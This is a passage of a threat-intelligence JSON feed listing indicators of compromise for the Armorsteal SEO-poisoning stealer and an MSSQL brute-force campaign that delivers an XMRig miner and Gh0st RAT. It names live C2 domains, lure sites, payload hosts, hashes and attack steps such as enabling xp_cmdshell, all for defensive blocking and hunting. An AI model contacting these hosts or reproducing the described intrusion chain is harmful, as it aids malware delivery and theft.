"https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt_raw.spl", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt.yaral", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/iocs.csv", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer", "share_url": "https://iocwatch.com/t/Armorsteal-SEO-Poisoning-Python-Stealer/", "indicators": [ { "value": "choclatey.org", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Typo-squatted Chocolatey site that SEO poisoning pushed to users searching for Chocolatey install commands; its PowerShell one-liner installs Armorsteal alongside the real Chocolatey.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "massgravel.net", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake Microsoft Activation Scripts (Massgrave) site whose PowerShell command installs Armorsteal.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://urlhaus.abuse.ch/host/massgravel.net/", "name": "URLhaus" } ] }, { "value": "workerstats.net", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Primary Armorsteal C2 domain (registered January 2026) used for /receive_infof, /get-global and /black-watch/ uploads.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" }, { "url": "https://urlhaus.abuse.ch/host/workerstats.net/", "name": "URLhaus" } ] }, { "value": "pymons.is", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal C2 domain, first in the newer build's 11-domain failover list and still resolving on 31 October 2026.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "datamons.org", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal C2 domain, standby in September and active from October 2026; Seqrite saw an infected machine talking to it.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "niceer.net", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal standby C2 domain in both the Zscaler and Seqrite builds.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "supertrap.net", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal standby C2 domain in both the Zscaler and Seqrite builds.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "plaineagle.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal C2 domain in the newer build's failover list.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "univalley.top", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal C2 domain in the newer build's failover list.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "icedhatch.top", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal C2 domain in the newer build's failover list.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "icedhatch.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal C2 domain in the newer build's failover list.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "icedout.top", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Armorsteal C2 domain in the newer build's failover list.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "pur.st", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Second entry in the newer Armorsteal build's C2 failover list.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "209.99.186.187", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "SKN Subnet & Telecom server that hosted the fake Chocolatey site and its subdomains in early September 2026.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.spamhaus.org/drop/", "name": "Spamhaus" } ] }, { "value": "82.153.135.80", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "AKILE LTD VPS in the United Kingdom that hosted both fake lure sites from mid-September 2026.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "186.2.175.183", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Address workerstats.net moved to in mid-September 2026 (IQWeb FZ-LLC, DDoS-Guard name servers).", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "186.2.163.185", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Armorsteal C2 address listed by Zscaler (IQWeb FZ-LLC).", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "190.115.31.69", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Armorsteal C2 address listed by Zscaler (IQWeb FZ-LLC).", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "186.2.175.158", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Address pymons.is resolved to on 31 October 2026 (IQWeb FZ-LLC).", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "186.2.163.193", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Address datamons.org resolved to on 31 October 2026 (IQWeb FZ-LLC).", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "f3846ec2a6ff0a27d9ef2b9bf7908743b81d295ef29344acfb96ff83fff994f9", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of install.ps1 from the fake Massgrave lure.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "fb1181160e9f10ce1eb5e5dc9bc23e1498a39110ee9ea361fd150454cb01b292", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of install.ps1 from the fake Chocolatey lure.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "3e3b62a9836697d978cbb620dc8af8f6eefdf8cb73fc30d16bb394d1c58f4c97", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of Update.zip / Updatef.zip, the remote access module package.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "237ba698d7dc8936c43e0e78e7644002375e51e8baf9b3a7d4e18683f871ee31", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of nig20084.zip, the surveillance module package.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "be0329d0795dd62ae587faf97e704bb36413e5c98ddd8fe575f5077db3c84e5f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of getthem20084.zip, the stealer module package.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "04d2828155ed2a276cfd3c97d4f966d328391dd818e04e773212cd601e49fa74", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of nig20083.zip, an older module package.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "56f05c4fb1c25c04e0dde60e2e5e41ac164a6dc53688d0f9eb52a55f82106389", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of getthem20083.zip, an older stealer package.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "0ea99fbbe29af6f797e3866ed5f822c7a5d3e9cdb990a8c382a715069f156499", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of SysMon.py, the remote access module (Zscaler build).", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "8fb7aaf2b9270b8b75f6844aaefd5242b4f926fb89cba10fff3d9b908a769788", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of basrq.py, the surveillance module (Zscaler build).", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "5410c2f239c3649928383c4478dea182f90b21f5b258081fec07e9d297ae4b1c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of got.py, the stealer module (Zscaler build).", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" } ] }, { "value": "972fe9edb13da76113047e6db39bcc44749aaeec1be107c975649f0c413a3067", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of SysMon.py from the newer build Seqrite analysed.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "cb9db2b44476e160fdae0e840d62e7c5c0b07dc56d26d17acf82412e446274ca", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of xm_handler.py, the miner manager that adds the C:\\Windows Defender exclusion.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "f1150680a69ca5e28f229e51c7b7bc9afa34f3e3a4ba424e3571b152009104b0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of nig\\basrq.py from the newer build.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "SysCheck2", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task that starts SysMon.py at every logon through conhost.exe --headless.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "SysCheckX", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task that runs as SYSTEM 45 seconds after boot (controller in Zscaler's build, miner manager in Seqrite's).", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "SysHeal", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Newer SYSTEM scheduled task that ran the controller once, seen by Seqrite.", "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "source_name": "Seqrite Labs", "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] }, { "value": "C:\\Windows\\SystemHealth\\Update\\", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Install folder for the portable Python 3.11 runtime and the Armorsteal modules; not a genuine Windows directory.", "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "source_name": "Zscaler ThreatLabz", "sources": [ { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "name": "Zscaler ThreatLabz" }, { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "name": "Seqrite Labs" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt.kql", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt.spl", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt_raw.spl", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt.yaral", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt.yaral" } ] }, { "id": "MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT", "folder": "threats/2026-11_November-2026/2026-11-12/MSSQL-T-SQL-Brute-Force-Miner-Gh0st-RAT", "name": "MSSQL T-SQL Brute-Force Campaign Delivering an XMRig Miner and Gh0st RAT", "short": "MSSQL T-SQL miner and Gh0st RAT", "category": "Crimeware / cryptomining", "published": "2026-11-12", "entry_date": "2026-11-12 22:55", "last_updated": "2026-11-12", "seq": 39, "headline": "Exposed SQL Servers brute-forced then abused with T-SQL to drop an XMRig miner and Gh0st RAT", "summary": "FortiGuard Labs reports an early-October 2026 campaign against internet-facing Microsoft SQL Server instances that brute-forces logins and then abuses T-SQL to deploy malware. A UPX-packed Go orchestrator, named dllhost.exe and embedding the Naabu scanner, fetches a target range from site.vietnam852.com:88/ip.php, probes TCP 1433, writes hits to %TEMP%\\Result.txt and hands them to dwm.exe with user and password lists. After a successful login, 2018.sql enables xp_cmdshell and downloads a loader from the same site or from ftp.vietnam852.com, saving it under C:\\Users\\Public as Google.exe or payload.exe. Later stages drop an XMRig miner disguised as MicrosoftEdgeUpdate.exe and a Themida-packed Gh0st RAT as winlogon.exe, which talks to server.vietnam852.com:8000 and www.swordaa.com:8000. Persistence uses scheduled tasks that imitate Microsoft Edge Update. The attacker domains, payload URLs and published hashes are on the block list. Do not block public Kryptex mining pools; hunt the XMRig Reporter check-ins to site.vietnam852.com instead.", "caveat": "FortiGuard Labs did not name victims. sqlcmd.exe was among the files downloaded from the attacker server but that hash is omitted here because it may be a copy of the legitimate Microsoft tool. xmr-ru.kryptex.network is a public mining pool and is not listed as a block.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "Any internet-facing Microsoft SQL Server" ], "note": "FortiGuard Labs describes a campaign against exposed SQL Server instances and does not name victim organisations or countries.", "source": { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "name": "Fortinet" } }, "mitre": [ { "id": "T1110", "name": "Brute Force", "url": "https://attack.mitre.org/techniques/T1110/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1059.003", "name": "Windows Command Shell", "url": "https://attack.mitre.org/techniques/T1059/003/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1036.004", "name": "Masquerade Task or Service", "url": "https://attack.mitre.org/techniques/T1036/004/" }, { "id": "T1496.001", "name": "Compute Hijacking", "url": "https://attack.mitre.org/techniques/T1496/001/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" } ], "recommended_actions": [ "Block vietnam852.com, site.vietnam852.com, ftp.vietnam852.com, server.vietnam852.com and swordaa.com, and the published payload URLs and SHA-256 hashes, and search 90 days of proxy, firewall, DNS and EDR logs for them.", "Hunt internet-facing SQL Server hosts for xp_cmdshell being enabled, sqlservr.exe writing executables under C:\\Users\\Public, and the scheduled-task names MicrosoftEdgeUpdateTaskMachineUA{CEC15D9B-F4BB-446A-B6E1-C61E74B016A2} and MicrosoftEdgeUpdateTaskMachineCore{4C33CE3F-7722-4257-AF83-351A4911C159}.", "If confirmed, isolate the SQL Server, rotate its credentials and any accounts in the dumped lists, remove the fake Edge Update tasks and dropped binaries, and check for the Gh0st RAT and miner stages.", "Do not block public Kryptex mining pools; use the attacker domains and the XMRig Reporter user-agent as the network hunt." ], "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/t-sql-being-abused-to-deliver-malware-on-compromised-ms-sql-servers", "label": "FortiGuard Labs – T-SQL Being Abused to Deliver Malware on Compromised MS SQL Servers", "name": "Fortinet" }, { "url": "https://urlhaus.abuse.ch/host/ftp.vietnam852.com/", "label": "urlhaus.abuse.ch", "name": "URLhaus" }, { "url": "https://bazaar.abuse.ch/sample/8ce2cd98ef6ceeece8239936e4aea042c41807f632cd691d5091705bf6c0076d/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" } ], 